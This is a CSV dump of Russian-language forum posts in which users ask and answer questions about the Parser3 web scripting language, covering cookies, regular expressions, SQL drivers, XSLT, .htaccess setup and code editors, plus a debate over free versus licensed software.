"35466","В парсере странное начало отсчета углов - оно сдвинуто на 90 градусов относительно нормального.\
\
Скажем:\
[code]\
^square.sector($x;$y;$radius;$radius;0;90;0x00000)\
[/code]\
нарисует сектор начинающийся с 90 до 180 \"нормальных\" градусов"
"35467","А как в ERWin-е (физ. модель) указывать связям по каким конкретным полям эти связи работают?"
"35469","Насчет архитектуры: конечно, система клиент-сервер лучше. Но на практике, очевидно, роль сервера будет выполнять одна из рабочих машин, скорее всего, того сотрудника, кто больше всего будет работать с базой.\
С сетью согласен, что проблем быть не должно, - просто ни разу не делал базы для локальной сети.\
И фактор бесплатного получения легального продукта тоже становится все важнее в связи со вступлением в ВТО, внедрением ISO, активизацией Microsoft  и пр..\
А насчет защиты... надо думать. Не совсем понятно, что вы имеете в виду под \"конфигурационными инструментами\". Добавление новых таблиц? Средство создания новых запросов?"
"35470","Я уже пару лет использую такой подход для автоматизации.\
С сервером никаких пробелем не возникает, я ставлю Apache + MySQL + mod_parser и настраиваю доступ через DNS локалки. Сам парсер может юзать любые источники данных в локальной сети или по ODBC, или как-то еще в зависимости от учетной системы заказчика. Как правило проблем с обменом данными нет.\
Единственный серьезный минус таких решений - это интерфейс пользователя. В браузере контролы, которые нужны для интерфейсов такого типа (всякие множественные селекторы, древовидные гриды etc) довольно трудно реализовать. Если решите двигаться в этом направлении - посмотрите на Mozilla XUL. На этой платформе можно делать очень серьезные клиентские приложения. При этом на стороне сервера использовать Apache+Parser со их плюсами. А трудоемкость разработки на Mozilla - почти как html.\
Минус - установка клиентской программы нужна для каждой машины, где будет использоваться приложение. Это лечится запуском клиента из расшаренной на сервере папки. Зато появляется куча плюсов, когда нужно обеспечить интеграцию такой разработки с сайтом (юзер получает единый интерфейс как для решения своих внутренних задач, так и для управления сайтом в интернетe + позможность использовать сайт локально в офисе).\
"
"35471","[quote]\
И фактор бесплатного получения легального продукта тоже становится все важнее в связи со вступлением в ВТО, внедрением ISO, активизацией Microsoft и пр..\
[/quote]\
Бред какой-то. При чем тут все это? (я про легальный продукт)"
"35472","Где можно прочитать про них, так чтобы разом?"
"35473","так, чтобы разом..."
"35474","кто-нибудь статкивался с кнопкой \"назад\"?\
\
написал я класс explorer, практически все необходимые функции для работы с папками и файлами сделал, но вот кнопка \"назад\" голову мне сломала.\
Скрипт работает самым простым способом:\
- ^file:list\
- отделение папок от файлов (в разные таблицы)\
- сортировка и тех и других\
- вывод папок и файлов на экран со ссылкой\
- для файлов ссылка на страницу просмотра файла (картинки)\
- для папки открытие выбранной папки в этом же окне.\
\
таки макаром написал я функцию levelUp - подняться на уровень выше:\
[code]\
@levelUp[dir][path]\
^if(def $dir){\
		$path[^dir.split[/;lv]]\
		$result[^path.menu{^if(^path.line[] < ^path.count[]){$path.piece}}[/]]\
}{\
		$result[]\
}\
[/code]\
\
метод возвращает значение для ссылки на каталог \"выше\".\
\
задачу для кнопки \"назад\" я себе представляю так:\
в куки $cookie:[back_${form:nesting}] записываю $form:folder. Так в каждой папке, кроме корневой. В ссылке кнопки \"назад\" пишу [code]?...&folder=$cookie:[back_^eval($form:nesting - 1)]...&...остальные_параметры...[/code]\
\
[code]\
$form:nesting - уровень вложенности папки\
$form:folder - путь до текущей папки\
[/code]\
\
ясно, что это неверно, т.к. $form:nesting у текущей папки, а нужна предидущая, но предидущая может быть любая, т.к. кнопка \"назад\" это в себе и подразумевает (переход не выше, а в предидущее посещенное место). Но башка уже не соображает :)\
\
короче говоря, нужно предидущее значение $form:folder, НО не один раз, а до самого конца, вернее до начала просмотра директорий.\
\
кто сталкивался и [i]решил[/i] эту проблему - подскажите пожалуйста, буду очень благодарен.\
\
заранее спасибо"
"35475","1) Историю в куку, но незабывать что ограничени ~4KB\
2) Присвоить $form:uid и на сервере писать историю\
3) Аможет ну его нафиг :)\
\
ps: Вероятно есть 4-ый вариант с form но читать и изобретать влом"
"35476","понятно что в куку, каким образом? \
\
все больше и больше склоняюсь к 3 варианту :)"
"35477","Если нужна просто кнопка \"назад\", достаточно javascript:history.back() если же хотите выпадающий список, то придется поставить ограничение на количество запоминаемых адресов, скажем, последние десять. Тогда просто сохраняете их в виде back0, ..., back9. Как только достигли предела, очередной адрес записываете в back0 и так далее, потихоньку затирая самые старые. А чтобы не запутаться, вводите переменную back, которая будет содержать номер самого старого запомненного адреса. Примерно так:\
\
[code]\
$i($cookie:back)\
^while(def $cookie:back$i){\
  ^i.inc[]\
  ^if($i==10){$i(0)}\
  ^if($i==$cookie:back){\
    $cookie:back$i[]\
    ^cookie:back.inc[]\
  }\
}\
$cookie:back$i[$request:uri]\
[/code]"
"35478","В том-то и дело, что history.back() не катит, т.к. до этого могут быть сделаны некоторые операции: фильтр расширений, сортировка, вид и т.д. \
Спасибо за код, но с самим методом дела обстоят лучше, чем с его вызовом. Кстати, зачем крутить while? Имхо, достаточно взять значение из $cookie:back. \
Проблема сейчас с вызовом метода такая: допустим, в куки попала такая информация\
[code]\
$cookie:back = 7\
$cookie:back0 = /images/\
$cookie:back1 = /images/icons/\
$cookie:back2 = /images/icons/sep/\
$cookie:back3 = /images/icons/sep/01/year\
$cookie:back4 = /images/icons/sep/01/year/2004\
$cookie:back5 = /images/icons/sep/01/year/2004/month/\
$cookie:back6 = /images/icons/sep/01/year/2004/month/04/\
[/code]\
\
как получить ссылку на /images/icons/sep/01/year/2004/month/ ($cookie:back5), я написал так: \
[code]\
$i($cookie:back - 2)\
$cookie:back$i\
[/code]\
\
назад возвращается, но при других обстоятельствах ведет себя как ему вздумается. Например при переходе от /images/icons/ к /images/icons/sep/01/year/2004/month/ получается черти что. Проследить где, что и как у меня мозгов и сил не хватает.\
\
\
PS при обновлении страницы в куку добавляется текущая страница, т.е. получается две одинаковых куки - последняя и предпоследняя. Это и понятно, но как этого лучше избежать? Проверять последнюю куку на новое, записываемое в куку значение или пробегать for'ом по всем кукам? Хотя в последнем случае может возникнуть нестыковочка: ведь пройденные папки могуть быть и одинаковыми, нап. cookie:back1 и cookie:back8..."
"35479","[quot]\
Не совсем понятно, что вы имеете в виду под \"конфигурационными инструментами\". Добавление новых таблиц? Средство создания новых запросов?\
[/quot]\
\
В моем видении современная система управления данными  с веб-интерфейсом:\
1. Универсальное ядро (например на Parser), переводящее реляционные данные в XML, обеспечивающее ввод данных, распределение прав, графическое представление и т.д.\
2. Конфигурация ядра, хранящаяся в базе\
3. XSL-таблицы для организации непосредственно веб-интерфейса\
\
1-е действительно незащитимо в интерпретируемых языках, а кроссплатформенные решения естественно проще всего реализуются именно на таких языках.\
\
2-е открыто, но инструменты, позволяющие быстро и четко сконфигурить систему могут оставаться закрытыми (в частности они могут быть и на Win32 платформе)\
\
3-е в любом случае подгоняется для каждого конкретного случая, дизайна и т.д. и по моему мнению не представляет особой ценности."
"35480","Написав систему на Parser, работающую с MySQL на *nix системе вы получаете бесплатно легальный программный продукт. Написав программу на Visual C, скомпилив ее в Visual Studio, купленном за 70р, установив Informix на Windows 2003 Server, потратив еще 140р вы конечно получите более быстро гораздо более мощное решение. Но внедрять в сердце конторы такой продукт в\
[quot]\
связи со вступлением в ВТО, внедрением ISO, активизацией Microsoft и пр..\
[/quot]\
становится все страшнее :)"
"35481","Сергей, - бесплатно ничего не бывает. Если инструменты бесплатны, то это не значит что продукт созданый ими тоже будет бесплатным. Часто, даже наоборот - такой продукт гораздо дороже обходится в конечном итоге из-за того, что эти бесплатные инструменты хуже чем коммерческие, - восполнять эти недостатки приходится за счет времени того, кто это создает и обслуживает, - а это далеко недешево.\
\
Учитывая то факт, что компонентов для более популярных вещей чем парсер сильно больше, - дешевле их просто купить и внедрить, чем трахаться самому в течении полугода создавая все это самому."
"35482","Может быть, еще это не очень чувствуете, но тенденция очень четкая, и очень быстро ситуация изменится.\
По требованиям ISO вся програмщина должна быть лицензионная, по требованиям ВТО - тоже. Не случайно уже сейчас проводятся рейды и возбуждаются уголовные дела за распространение и использование (!) нелицензионного софта. Рисковать парализацией работы компании из-за использования такого софта никто не будет уже года через два.\
Что же тут непонятного?"
"35483","Насчет незащитимости в интерпретируемых языках - вопрос спортный. ДЛя PHP есть Zend Optimizer, например. Кроме того, простое удаление из исходников комментариев и переводов строк - тоже защита будь здоров :)"
"35484","Александр, я вообщем-то со всем сказанным согласен, но...\
\
1. Говоря о бесплатности, я больше подразумевал бесплатность для разработчика. Он может ничего не вкладывая, кроме своего труда и интеллекта получить продукт, который может легально продавать. \
\
2. Купив дорогую специализированную систему скорей всего все равно придеться держать специалиста, развивающего и поддерживающего ее. Либо платить стороннему."
"35485","Да бред это все, бред - работал я в конторе где внедрили ИСО - и что?  Как все было, так и осталось, это вопрос чисто человеческих взаимосвязей межлу властью и бизнесом.\
\
Кроме того - надо считать что дешевле - купить готовые компоненты и собрать из них систему или самому все создавать с нуля в течении 2-3 лет. Для всех, кроме софтверных контор, дешевле первое."
"35486","Если говорить о бесплатности для раработчика - надо тоже считать, сколько времени придется самому затратить на создание всего того, чего нет в открытых продуктах и что есть в коммерческих и сравнивать стоимость этого времени со стоимостью готовых компонентов.\
\
Скажем если сравнивать средства для работы и управления MySQL и MS SQL, то первый не идет ни в какое сравнение с последним. У мускула нет ни нормального профайлера, ни нормальных средств для экспорта данных, ни такого анализатора запросов и т.д. Да много чего нет. Все эти вещи сильно ускоряют разработку (если умеешь ими пользоваться), а если их нет то отладка может быть сильно затруднена. Самая большая дыра времени программиста - это отладчик, факт.\
\
Правда есть и отличные open source вещи я не спорю, тут все зависит от контекста."
"35487","Допустим что $cookie:my_cookie возвращает\
0	/images/\
1	/images/icons/\
2	/images/icons/sep/\
3	/images/icons/sep/01/year\
4	/images/icons/sep/01/year/2004\
5	/images/icons/sep/01/year/2004/month/\
6	/images/icons/sep/01/year/2004/month/04/\
\
Тогда создаём талицу\
$table_uri[^table::create{id	uri\
$cookie:my_cookie}]\
\
Незнаю как с куками, но с текстовыми переменными у меня всё работает"
"35488","0Здесь символ табуляции/images/"
"35489","Спасибо за знакомство с XUL! Посмотрел [url=\"www.xul.ru\"]www.xul.ru[/url] и [url=\"http://www.mozilla.org/projects/xul/joy-of-xul.html\"]http://www.mozilla.org/projects/xul/joy-of-xul.html[/url] - есть интересные достоинства (я, кстати, сам пользуюсь Firefox).\
Надо поразбираться.\
А можете сказать, что конкретно может позволить этот язык? TreeView? Что-то еще? (я имею в виду фишки в интерфейсе)"
"35490","А можно ли сделать такое кодирование с Парсером?\
В принципе, наверно, не сложно сделать код бинарным?\
\
И еще вопрос в защите не только сделать его не просматриваемым, но и защитить от копирования. Ведь можно просто взять кодированное приложение, скопировать его на другой комп, и там запустит, не заглядывая внутрь"
"35492","Я счас обдумываю свой вариант CMR с оригинальной идей. При это интеграции с существующими системами бух и док автоматизации не предусматриваю, это минус, но зато он меня не ограничивает в действиях. Другое дело, что мне нужен простой переносимый вариант, который не требовал бы глубоких админ познаний пользователей - и тут был бы кстати поддержка sqlite в парсере. При этом я склоняюсь к веб решению, так как сразу решается вопрос с многопользовательским доступом к системе в интра и экстра нете."
"35497","Такая задача: подсчитать кол-во слова $slovo[...] в тексте.\
^if(^str.match[$slovo][g]){$a[^eval($a+1)] $a}\
в переменной a будет 1... почему? и тогда как сделать чтобы при каждом совпадении присваивалась 1.\
еще вопрос. Почему так не находит нечего\
$name[^str.match[(\\<$slovo\\>)][g]]\
^name.save[match.txt]\
а без \\< \\> находит, хотя в тексте присутствуют абс идентичные слова (абвгд - абвгд)"
"35498","Внимательно изучить это\
http://www.parser.ru/docs/lang/stringmatch.htm\
Прочитать это\
http://www.parser.ru/docs/lang/tableclass.htm\
Если после этого непонятно, то и это\
http://www.parser.ru/docs/lang/lesson2.htm"
"35499","вообще-то с регэкспами не в первый раз дело имею. Есть книга по ним. Да и с парсером уже год мучаюсь. Так что давать ссылки на справку не стоит, если бы я понял, то в форум не лез бы. Если можешь ответить почему с \\< \\> метасимволами поиск не проходитит объясни буду благодарен.\
2. Как подсчитать входждения не прибегая к подсчету строк в файле match.txt я не пойму. Если можешь объяснить буду тоже весьма благодарен"
"35501","\\< - метасимвол обозначает начало слова, \\> сооьтветственно конец.\
Если я не поставлю данный метасимвол, то буду находить при поиске АБВ, не только АБВ, а АБВГД, АБВГ и т.д.\
Конечно может есть какая-то альтернатива им, но я не знаю"
"35502","\\< - метасимвол обозначает начало слова, \\> соответственно конец.\
Если я не поставлю данный метасимвол, то буду находить при поиске АБВ, не только АБВ, а АБВГД, АБВГ и т.д.\
Конечно может есть какая-то альтернатива им, но я не знаю"
"35505","можно ли как-нибудь на лету подсчитывать кол-во совпавших слов?\
Если можно, то как?\
Если нет, то не будет ли неприятностей из-за match.txt при одновременно активном использовании скрипта нескольими пользователями?"
"35508","$a(0)\
$tmp[^str.match[$slovo][g]{^a.inc(1)}]\
\
только имейте ввиду, что в $slovo должен быть шаблон. т.е. если там будет . (точка) то будет иметься ввиду любой символ и т.д."
"35512","$slovo[пиломатериалы]\
$a(0)\
$find[^str.match[\\b($slovo)\\b][g,i]{^a.inc(1)}]\
^find.save[match.txt]\
a выводит - 1\
а в match.txt 10 совпадений"
"35513","Зашёл в раздел \"скачать\", нашёл плагины для подсветки синтаксиса в редакторах, но от такого разнообразия у меня голова пошла кругом. Возник такой вопрос.\
В какой из программ удобнее всего работать. Для меня даже главное не кол-во функций, а просто удобство. А я знаю только HomeSitе, есть ли что удобнее?"
"35515","у каждого свои требования и свое понятие удобства."
"35516","ключи. \
g - перебор всех строк совпавших с шаблоном(если есть 1 совпадение, то поиск продолжается)\
i - поиск без учета регистра"
"35517","И еще прикольный PHP Edit ( http://phpedit.com.ua/ ) ам в новой версии есть еще и отладчик для регекспов встроенный.\
Во как!"
"35518","как вы себе представляете хранение временных данных в файле? Зачем?"
"35519","$str[mama mama mama mama]\
$slovo[mama]\
$a(0)\
$tmp[^str.match[\\b${slovo}\\b][gi]{^a.inc(1)}]\
=$a=\
\
у меня выводит 4"
"35520","и зачем сначало в куки записывать, а потом в таблицу?"
"35521","имхо вам стоит перечитать документацию раз... 2"
"35522","кстати с запятой тоже работает\
$slovo[Пиломатериалы]\
$file[^file::load[text;wood.txt]]\
$last_s[^eval(^slovo.length[]-1)]\
$str[$file.text]\
$b(0)\
$find[^str.match[\\b($slovo)\\b][g,i]{^b.inc(1)}]\
^find.save[match.txt]\
$b\
сделал, я в прошлый раз что-напортачил. устал немного просто... :-)\
только теперь не понятно почему в match.txt не совпадения пишутся а весь файл wood.txt. убираю {^b.inc(1)} все делает как надо (пишет 10 совпадений)...\
\
И еще вопрос. Не знаешь как искать с учетом морфологии? Т.е \"пиломатериал\" = \"пиломатериала\" = \"пиломатериалы\" = \"пиломатериалым\" и т.д.\
Если знаешь, скажи просто сам принцип как это делается.\
Заранее благодарен."
"35524","я там нашел только про локальные, общее их назначение там непонятно."
"35526","Сложно сказать какой лучше. Я к Edit plus привык"
"35527","Удобная вещь! В отличии от HomeSite там нету различных приблуд для облегчения написания хтмл кода, зато есть много других полезных функций. А хтмл можно и ручками писать. Это даже полезнее :)\
На мой взгляд лучший редактор подобного рода. Он даже позволяет показывать список методов, описанных в файле"
"35528","Внимательно почитал ветку. Что можно сказать? Работаю админом базиса SAP R/3  четвертый год. Если не видели GUI трешного - описать не берусь, ибо вещь в себе. Редактор, отладчик, экранные формы и прочего на пару страниц - все есть. Свой язык ABAP/4. Система полная и самодостаточная. Нно! Разработали немцы прокладку чтоб из браузера работать, а не гуем стандартным, причем гуй этот есть (java и сюда влезла)  и для винды, и для линукса, и для маков каких-то, и для аикса (ай лав айбиэм). Почему? \"Зачэм\"? Читатель да ответит сам на этот вопрос."
"35529","поделитесь"
"35530","Для отладки регекспов и сложного поиска/замен по диску PowerGrep(http://www.powergrep.com/)"
"35531","Что такое $last_s и почему он записан именно так -- не понятно.\
[code]$last_s[^eval(^slovo.length[]-1)][/code]\
По моему так более логично:\
[code]$last_s(^slovo.length[]-1)[/code]\
\
Зачем переменная $str непонтно тоже:\
[code]$find[^file.text.match[\\b($slovo)\\b][g,i]{^b.inc(1)}][/code]\
так проще.\
\
Теперь к сути вопроса. Ваше регулярное выражение меняет любое совпадение \\b($slovo)\\b на пустоту, следовательно если в тексте нет совпадений то текст напишется целиком.\
\
Для морфологического разбора регулярные выражения не подходят. Они очень ресурсоёмки и очень медленны по сравнению с другими технологиями. Если интересует подробнее: http://www.ya.ru тема поиска: морфологический разбор"
"35532","да, cookie.\
какой смысл записывать в таблицу, потом в файл, потом добавлять, открывать, удалять... зачем? ввести 11 кук, 10 из которых пути к папкам, а последняя кол-во записанных кук. Отличный метод, спасибо Азату Разетдинову. \
Да и вообще не в этом проблема. Нужно это все грамотно вывести..."
"35533","Если по моему пути\
^таблица.menu{}\
^таблица.select($men.age>20)\
^таблица.locate[столбец;искомое_значение]\
\
Если по вашему\
^for[счетчик](от;до){тело}{разделитель}\
Если знаете номер шага то совсем просто\
$step[1]\
$cookie:back$step"
"35534","доброго времени суток,\
помогите, пожалста. установил парсер, и пытаюсь проверить правильность с помощью тестовой страницы. в результате все работает за исключением SQL. в разделе \"работа с SQL\" выдается такое сообщение:\
\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера. \
Сообщение об ошибке: \
\
driver implements API version 0x0008 not equal to 0x0007 \
$sqldriversdir/libparser3mysql.so \
=====================\
\
тестовая страница о которой идет речь: [url=\"http://www.lifeisperfect.net/test/_test.html\"]http://www.lifeisperfect.net/test/_test.html[/url]\
\
сервер работает под FreeBSD.\
драйвер лежит {там где конфигурационный файл}/lib"
"35535","драйвер для  MySQL не той версии. скачайте тот, кот. для идетс Парсером вашей версии"
"35536","http://www.pspad.com/\
\
если бы я его нашел до того как подсел на UltraEdit то скорее всего пользовался-бы им."
"35537","FM:\
[code]\
@include[filename][file]\
$file[^file::load[text;$filename]]\
^process[$caller.self]{^taint[as-is][$file.text]}[\
   $.file[$filename]\
]\
[/code]\
[quot]\
Оператор include\
Код загружает указанный файл и выполняет его [b]в контексте вызова include[/b]. Опция file позволяет указать имя файла, откуда был загружен код. Если возникнет ошибка, вы увидите это «имя файла».\
[/quot]\
***\
Файл /test.dat - \
[code]\
$testVar[passed]\
[/code]\
***\
[code]\
@test[][testVar]\
^include[/test.dat]\
^$testVar - $testVar\
[/code]\
***\
Результат:\
$testVar - \
***\
ДЫК???\
\
P.S. В форуме искал!!!!!"
"35538","Друзья, никто этого не делал случаем? Если уже есть у кого-то код генерации валидного XML из базы, пришлите, пожалуйста, да?\
\
hwat@mcn.ru"
"35539","Есть много вопросов (разных, возможно дурацких) по классу авторизации. Как лучше задавать, в форуме или может быть мылом? И вообще можно ли?"
"35540","лучше в форуме.\
\
но вопросы вида: \"что такое битовые операции?\", \"что такое битовая маска?\", \"как на её основе узнать права?\" и т.п. - проигнорирую."
"35543","Если подсветка языка - парсер.\
Сам файл для подсветки синтаксиса брал тут http://www.egoroff.spb.ru/opinions/9.html"
"35545","Там принципиально иной случай.\
Я вызываю ^include[] изнутри метода ^test[] для того чтобы присвоить значения локальным переменным метода ^test[]. Согласно документации это возможно (там же используется ^process[$caller.self]{...}). Или таки я что-то глобально не понял?"
"35546","нету никаких конектов :) \
чего вы хотите добиться методами menu, select и locate одновременно? Даже если это и один \"коннект\" не зачем. А у меня без кук как бер рук )) и таблица не поможет, а напортит. \
А шаг видимо придется через форму step передавать..."
"35547","требуется $300"
"35549","потому, что вы городите никому не нужный огород. Видимо за этот год работы с парсером вы прочли только класс string. \
Ну возьмите вы и прочитайте документацию от начала и до конца со всеми приложениями. \
Ну никогда я не поверю, что человек работающий на парсере год напишет вместо \\b \\<, вместо [gi] [g,i]...\
\
ну а вот это уже беспредел :)) сравните\
вы написали: $a[^eval($a+1)]\
можно было: $a($a + 1)"
"35551","Во-первых: этот драйвер уже написан?\
Во-вторых: Где гарантия того, что он будет одобрен и добавлен в официальный Парсер?\
Трес: мне намного дешевле написать батник и класс на Парсере и работать таким образом с SQLite."
"35553","Не уж то так сложно сделать выборку товаров из вашей базы, потом \
[code]\
^table.menu{\
<offer id=”$offer_id” type=\"vendor.model”> ^offer_id.inc[]\
	<url>^taint[optimized-xml][$table.url]</url>\
	<price>210</price>\
<currencyId>USD</currencyId>\
	<categoryId>6</categoryId>\
	<typePrefix>Принтер</typePrefix>\
	<vendor>HP</vendor>\
	<model>Laser Jet 1100</model>\
	<description>^taint[optimized-xml][$table.description]</description>\
            …\
</offer>\
}\
[/code]\
не забывая про  ^taint[optimized-xml]  в нужных местах"
"35554","1. Драйвер не написан.\
2. Ни какой гарантии.\
3. Мо быть. Но как переносить на никсы?"
"35555","У меня данные хранятся в 1251, при выборке и попытке сформировать XML оно говорит, что, мол, чувак, мне нужно UTF-8, что ты мне тут пытаешься пропихнуть.\
\
Что с этим сделать?\
Я прошу прощения, на этом месте должна быть иконка чайника, просто обычно у нас программированием занимаются другие люди."
"35559","[code]\
                   AND                     OR                      XOR\
-----------------------------------------------------------------------------------\
\
первый байт        x o x o x o x o         x o x o x o x o         x o x o x o x o\
второй байт        x x o o o o o o         x x o o o o o o         x x o o o o o o\
\
  результат        x o o o o o o o         x x x o x o x o         o x x o x o x o\
\
\
                    1 + 1 = 1               1 + 1 = 1               1 + 1 = 0\
                    1 + 0 = 0               1 + 0 = 1               1 + 0 = 1\
                    0 + 0 = 0               0 + 0 = 0               0 + 0 = 0\
[/code]\
\
всё остальное - поиском, уже обсуждалось..."
"35561","Думаю, комплект драйвера с документацией на русском облегчил бы сбор средств.  \
Без документации SQLite - груда металла. Не все читают английский. ИМХО."
"35562","В продолжении темы http://www.parser.ru/forum/?id=20877.\
В неё никто не ответил, с автором причин не выяснили, сам причин тоже не обнаружил.\
\
В одном из шаблонов использую пространство имён str, для кодирования/декодирования url'ов.\
[code]<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:str=\"http://exslt.org/strings\">[/code]\
\
Всё работает, но вот, по непонятной мне причине, в результат трансформации, обычный html, пролазит пространство str.\
Например, вместо:\
[code]<script type=\"text/javascript\" src=\"/js/search.js\"></script>[/code]\
получаю:\
[code]<script xmlns:str=\"http://exslt.org/strings\" type=\"text/javascript\" src=\"/js/search.js\"></script>[/code]\
\
Как побороть?"
"35564","ну не сразу же все делается :)"
"35565","Так чтоб не переплачивать за 100 Мб, и парсер не надобыло самому устанавливать!"
"35566","[url=\"http://www.pwstudio.ru\"]http://www.pwstudio.ru[/url] Суперский хостинг за 15 Мб и виртуальный сервер с MySQL всего за $1. Главное уже и регистрация работает!!! Ура!"
"35567","Как в Parser получить значения переменных, указанные в адресе?\
\
В PHP это делается так:\
http://localhost/test.php?x=1&y=2\
\
<?\
echo $x;\
echo $y;\
?>\
\
Или нужно вручную разбивать строку с помощью split?"
"35568","$form:x\
$form:y"
"35569","я наверно что то упустил в синтаксисе...\
есть функция возвращающая путь к фалу:\
[code]\
^inspath[]\
$result[/file/]\
[/code]\
\
хочу проверить существует ли файл, имя которого хранится в переменной $file ... пишу:\
[code]\
^if(!-f ^inspath[]$file){нет файла}{есть файл}\
[/code]\
\
Парсер ругается на отсутствие скобок...\
Если написать так:\
[code]\
^if(!-f $file){нет файла}{есть файл}\
[/code]\
\
то все нормально\
Что я делаю не так?"
"35571","[code]\
<xsl:stylesheet\
	version=\"1.0\"\
	xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\
	xmlns:str=\"http://exslt.org/strings\"\
	exclude-result-prefixes=\"str\"\
>\
[/code]"
"35574","Всё там"
"35576",":)\
а в парсере делается так:\
[code]\
$form:x\
$form:y\
[/code]\
\
это для тех, кто доки не читал..."
"35577","Доброго. Возникла проблема. Хочется раскрасить строки таблицы как тельняшку. Вопрос вот в чем как мне получить номер строки и патом уже оперируя данным номером рассчитать четная это строка или нет? Спасибо."
"35578","У меня его глючит. При волшебной комбинации Ctrl+z возвращает предыдущие данные не стирая тех что я ввел позже."
"35580","Ситуация такая: в корне своего веб-пространоста (папка public_html в моей папке на хостинге) сделал папку cgi-bin, в нее положил папку parser3 с parser3.cgi, конфигом и папкой с кодировками. Далее, в корне своей папки слелал .htaccess:\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
(всё, как обычно, типа)\
\
После этих манипуляций парсер должен был бы работать, но нет. При обращении к любому html-документу выдается error 500 (internal server error). А если Мозиллой открывать, то еще веселее - просто пустая страница.\
.htaccess обрабатывается, точно. Если ему написать несуществующий путь к cgi, ругается.\
\
На сервере: FreeBSD 4.9, Apache 1.3.29, Usermin\
\
В чем может быть дело?"
"35581","Столкнулся с такой проблемой :\
делаю что-то вроде гостевой книги:\
\
[code]\
^if(def $form:text){\
#---------- загружаем таблицу с сообщениями ----------\
$messages[^table::load[messages.cfg]]\
$now[^date::now[]]\
\
#---------- создаем новую таблицу и вставляем строку со значениями из формы ----------\
$new_msg[^table::create{date	name	message\
${now.year}-${now.month}-${now.day}	^if(def $form:name){$form:name}{Anonym}	$form:text\
}]\
\
#---------- присоединяем к таблице с сообщениями нашу созданную таблицу ----------\
^messages.join[$new_msg]\
#---------- сохраняем -----------\
^messages.save[messages.cfg]\
\
<center><b>Поздравляю! Ваше сообщение успешно добавлено в Гостевую Книгу</b></center>\
}{\
<form method=\"POST\">\
Имя :<br><input type=\"text\" name=\"name\"><br>\
Текст :<br> <textarea name=\"text\"></textarea>\
<br><br>\
<input type=submit value=\"ok\" style=\"width: 100\">\
</form>\
}\
[/code]\
\
Но если в '[b]$form:text[/b]' будет две строки,\
то в поле '[b]text[/b]' запишется только первая строка,\
а вторая запишеться в поле '[b]name[/b]' следующей строки!!!\
\
Как можно в поле '[b]text[/b]' записать несколько строк ???"
"35583","и подумайте, как запишется в таблицу строка с переводом."
"35584","[code]\
$t[^table::create{name\
a\
b\
c\
d\
e\
f\
g\
h\
}]\
^t.menu{\
	^if(^t.line[] % 2 == 0){\
		<b>^t.line[] - $t.name</b>\
	}{\
		^t.line[] - $t.name \
	}\
}[<br>]\
[/code]"
"35585","Посыпал голову пеплом. Три раза."
"35587","[b]Доброго времени суток![/b]\
\
Вопрос даже не про классы, а про то, как реализована гостевая книга.\
Если в сообщение написать несколько строк, то при отображении все строки слепятся в одну и будут разделяться [b]пробелами[/b]!!!\
\
Нужно чтобы было все по нормальному! [b]Как???[/b]"
"35588","Я обычно вот так поступаю, но думаю и это можно \"дожать\".\
\
[code]\
$mytab[^table::create{NAME\
Antony\
Bob\
Cortny\
Dylan\
Elioth\
}]\
\
\
$cnt(1)\
<TABLE>\
^mytab.menu{\
    $cnt($cnt!|1)\
    <TR>\
        <TD bgcolor=\"#^if($cnt == 0){acacac}{e0e0e0}\">$mytab.NAME</TD>\
    </TR>\
           }\
</TABLE>\
\
[/code]"
"35589","Например я не хочу получать ч/з GET $form:password, а только ч/з POST."
"35591","Что-то виндовых редкаторов много, вы что все пишите на локальном хосте, а потом заливаете и проверяете?\
\
Лучше народ поделитесь у кого как локальная среда разарботки на парсере построена?\
\
На винде у меня стоит Linux Red Hat 9.0 под VMware, на нем и Апач и парсер стоит, т.е. все максимально приближено к хостинг-провайдеру.\
\
Ч/з PuTTY(с default-background`ом R:0 G:0 B:187) я вишу на Линуксе в mc (Midnight Commander`e).\
По F4 (edit) стоит cooledit с собственноручной настройкой подсветки html, и parser`a. Конечно Syntax Highlight там скудноват, но ниче, скобки парные подсвечивает.\
\
Вообщем пишу и тут же смотрю результаты работы.\
\
Естественно MySQL есть и вообще все что хошь, це ж Линукс реальный."
"35592","Это не к парсеру и не к уроку 5.\
ЗЫ match попробуйте. И вообще класс string прочтите."
"35595","Уважаемый PAF! Ваш расчудесный парсер очень нуждается в компиляторе! \
Или хотя бы ПОСТ-интерпритаторе. Какая была бы сказка... +(%%)скорость + в код чужие ручки не залезут.\
\
Скажите, такое вообще в планах есть?"
"35596","[code]\
$t[^table::create{name\
Antony\
Bob\
Cortny\
Dylan\
Elioth\
}]\
^t.menu{\
	^if(^t.line[] % 2 == 0){\
		<b>^t.line[] - $t.name</b>\
	}{\
		^t.line[] - $t.name \
	}\
}[<br>]\
[/code]"
"35597","В нафиг эти методы гонять, да еще и потом математические операции деления. Побитовый XOR быстрее, это на ASM`e однобайтная команда."
"35599","В скрипте предполагается сделать 2 шага:\
1-я форма, при нажатии на кнопку - 2-я форма.\
\
1-я форма служит для выбора 1-го параметра из 3-х.\
Количество параметров (от 1-го до 3-х) - величина тоже параметрическая.\
Следовательно, в каком-то случае будет возможен вариант, когда на 1-й форме надо будет выбрать 1 параметр из 1-го, а это нелогично. Посему в некоторых случаях 1-ю форму как шаг нужно пропустить.\
\
Как это сделать?\
Можно ли сымитировать нажатие на кнопку?\
\
Шаги делаются примерно так:\
\
^if(!def $form:step_2 && !def $form:step_3){\
   выводим 1-ю форму\
}\
^if(def $form:step_2 && !def $form:step_3){\
   выводим 2-ю форму\
}\
^if(def $form:step_3){\
   выводим результат\
}\
\
Как пропустить шаг первый, обойдя \"^if(!def $form:step_2)...\"?"
"35600","Нет, но в phpMyAdmin сообщение видно как надо, в несколько строк."
"35601","http://www.parser.ru/faq/lang/"
"35602","сделать Парсер исполняемым (chmod 666 parser3.cgi )"
"35603","Наконец то разобрался!!! =)\
\
[quot]\
Как только вы переберёте все варианты решения и не найдёте нужного,\
тут же обнаружится решение, простое и очевидное для всех, кроме вас\
[/quot]\
\
[quot]\
Решение одной ошибки пораждает новые\
[/quot]"
"35604","В общем я заказал за свои деньги - будут интересующиеся - пишите."
"35607","точно, то что и надо, блин! спасибо"
"35608","[code]^if(^t.line[] % 2 == 0){...\
             ^^^ - деление\
[/code]\
                  \
Это из кода by [b]dimka[/b]\
\
